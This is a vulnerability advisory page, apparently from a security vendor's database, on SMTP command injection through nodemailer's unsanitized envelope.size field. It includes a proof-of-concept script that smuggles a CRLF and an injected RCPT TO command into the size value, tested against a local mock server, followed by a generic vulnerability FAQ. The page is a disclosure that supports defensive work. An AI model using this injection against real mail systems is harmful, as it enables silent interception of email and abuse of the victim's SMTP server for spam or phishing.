Vulnerability Database

346,508

Total vulnerabilities in the database

Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter — nodemailer

Improper Neutralization of CRLF Sequences ('CRLF Injection')

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) { args.push('SIZE=' + this._envelope.size); }

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from']; Object.keys(envelope).forEach(key => { if (!standardFields.includes(key)) { this._envelope[key] = envelope[key]; } });

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail(). While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net'); const nodemailer = require('nodemailer'); // Minimal SMTP server that logs raw commands const server = net.createServer(socket => { socket.write('220 localhost ESMTP\r\n'); let buffer = ''; socket.on('data', chunk => { buffer += chunk.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('C:', line); if (line.startsWith('EHLO')) { socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n'); } else if (line.startsWith('MAIL FROM')) { socket.write('250 OK\r\n'); } else if (line.startsWith('RCPT TO')) { socket.write('250 OK\r\n'); } else if (line === 'DATA') { socket.write('354 Start\r\n'); } else if (line === '.') { socket.write('250 OK\r\n'); } else if (line.startsWith('QUIT')) { socket.write('221 Bye\r\n'); socket.end(); } } }); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; console.log('SMTP server on port', port); console.log('Sending email with injected RCPT TO...\n'); const transporter = nodemailer.createTransport({ host: '127.0.0.1', port, secure: false, tls: { rejectUnauthorized: false }, }); transporter.sendMail({ from: '[email protected]', to: '[email protected]', subject: 'Normal email', text: 'This is a normal email.', envelope: { from: '[email protected]', to: ['[email protected]'], size: '100\r\nRCPT TO:<[email protected]>', }, }, (err) => { if (err) console.error('Error:', err.message); console.log('\nExpected output above:'); console.log(' C: MAIL FROM:<[email protected]> SIZE=100'); console.log(' C: RCPT TO:<[email protected]> <-- INJECTED'); console.log(' C: RCPT TO:<[email protected]>'); server.close(); transporter.close(); }); });

Expected output:

SMTP server on port 12345 Sending email with injected RCPT TO... C: EHLO [127.0.0.1] C: MAIL FROM:<[email protected]> SIZE=100 C: RCPT TO:<[email protected]> C: RCPT TO:<[email protected]> C: DATA ... C: . C: QUIT

The RCPT TO:<[email protected]> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

No technical information available.

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.